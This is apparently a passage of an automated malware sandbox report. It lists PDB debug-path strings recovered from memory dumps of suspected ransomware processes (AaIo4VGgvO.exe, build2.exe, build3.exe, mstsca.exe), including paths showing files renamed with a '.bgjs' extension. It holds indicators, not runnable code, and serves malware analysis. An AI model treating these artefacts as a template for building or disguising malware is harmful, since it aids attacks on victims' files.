00000004.00000003.2182340796.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182864734.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\e\ source: AaIo4VGgvO.exe, 00000004.00000003.2192077434.0000000003340000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187053912.0000000003302000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191252603.0000000003340000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2165075548.000000000335D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2183481848.0000000003370000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2162950851.000000000335D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180204256.0000000003365000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\*s source: AaIo4VGgvO.exe, 00000004.00000003.2145052140.000000000330E000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146951412.0000000003330000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146773493.000000000330F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSearchCache\SettingsCache.txt.bgjsxt source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: AaIo4VGgvO.exe, 00000004.00000003.2114853320.0000000003193000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115331566.0000000003199000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114580956.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116154323.000000000319B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\*6BX source: AaIo4VGgvO.exe, 00000004.00000003.2137278747.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116754056.000000000311F000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191417572.000000000311F000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2218133771.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220967832.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164637879.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2217866204.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145259726.000000000311F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: AaIo4VGgvO.exe, 00000004.00000003.2144227525.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144398557.0000000003193000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ros source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\, source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1729414853.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1725816575.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1727737398.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191668009.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190449148.0000000003751000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2136761292.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114673674.000000000347B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.000000000347B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137798043.0000000003490000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.00000000036EC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2155945655.0000000003401000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182958066.0000000003715000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182438639.00000000036ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\~J" source: AaIo4VGgvO.exe, 00000004.00000003.2137946513.00000000032C7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116544720.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115675931.00000000032BF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137579843.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\\ source: AaIo4VGgvO.exe, 00000004.00000003.2197523305.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2188411803.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189794393.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190339728.00000000036B5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n\bwe\ source: AaIo4VGgvO.exe, 00000004.00000003.2213313921.0000000003812000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216430184.0000000003833000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1833020898.00000000032A7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116619441.00000000032DF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088708695.00000000032C5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088140446.00000000032AE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115585911.00000000032D3000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: AaIo4VGgvO.exe, AaIo4VGgvO.exe, 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: AaIo4VGgvO.exe, 00000004.00000003.2213071160.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb^n source: AaIo4VGgvO.exe, 00000004.00000003.2088674676.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbchCache\AppCache133408908224609935.txt source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\** source: AaIo4VGgvO.exe, 00000004.00000003.2115467877.0000000003354000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115718190.0000000003358000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114412304.0000000003349000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114259050.00000000032EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.0000000003366000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088297715.0000000003375000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\be\ source: AaIo4VGgvO.exe, 00000004.00000003.2114259050.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114493482.00000000032FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2155785156.0000000003152000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165688622.0000000003157000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144227525.0000000003152000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: AaIo4VGgvO.exe, 00000004.00000003.2205165799.0000000003476000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\lubefotirej.pdb source: AaIo4VGgvO.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\* source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1865432728.0000000003196000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\! source: AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\o source: AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2144138093.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180598083.00000000036DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: AaIo4VGgvO.exe, 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2114259050.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114493482.00000000032FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\fSC source: AaIo4VGgvO.exe, 00000004.00000003.2203358546.0000000003845000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.0000000003845000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CACHES~1.JFMntkrnlmp.pdb.jfmansferApiGroup-2023-10-04.0953.5356.1.odl source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003123000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 00000009.00000002.1853790113.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000009.00000000.1743285569.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000E.00000000.1852789120.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000011.00000000.1861897358.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000011.00000002.1943724924.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.1942013054.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2325242683.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400652471.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399918134.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2916135205.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3012410654.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3011582267.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3632762801.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3515414629.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3631999278.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\00\G source: AaIo4VGgvO.exe, 00000004.00000003.2209294827.0000000003476000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2197665887.00000000037E5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197523305.000000000369C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198664348.000000000369C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: AaIo4VGgvO.exe, 00000004.00000003.2144227525.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144398557.0000000003193000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: AaIo4VGgvO.exe, 00000004.00000003.2214146560.00000000032B1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214184252.00000000032B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\\\ source: AaIo4VGgvO.exe, 00000004.00000003.2190121735.00000000036FD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000036DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.bgjsbgjs source: AaIo4VGgvO.exe, 00000004.00000003.2088329162.000000000095D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\&= source: AaIo4VGgvO.exe, 00000004.00000003.2157087863.0000000003466000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164952090.0000000003466000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\!D source: AaIo4VGgvO.exe, 00000004.00000003.2156473331.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2155945655.0000000003401000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2156757540.0000000003433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XC:\lubefotirej.pdb source: AaIo4VGgvO.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2183582473.00000000032F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs1e6c4e842c100b150[1].xml.bgjs0 source: AaIo4VGgvO.exe, 00000004.00000003.2165814423.000000000095D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Hnb source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191668009.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190449148.0000000003751000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: AaIo4VGgvO.exe, 00000004.00000003.2136761292.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146907112.0000000003340000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136424748.0000000003334000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145581047.000000000333C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145052140.000000000330E000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137798043.0000000003490000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.00000000032F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\r' source: AaIo4VGgvO.exe, 00000004.00000003.2190121735.00000000036FD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000036DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\* source: AaIo4VGgvO.exe, 00000004.00000003.2190787955.00000000032A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\bat\{ source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
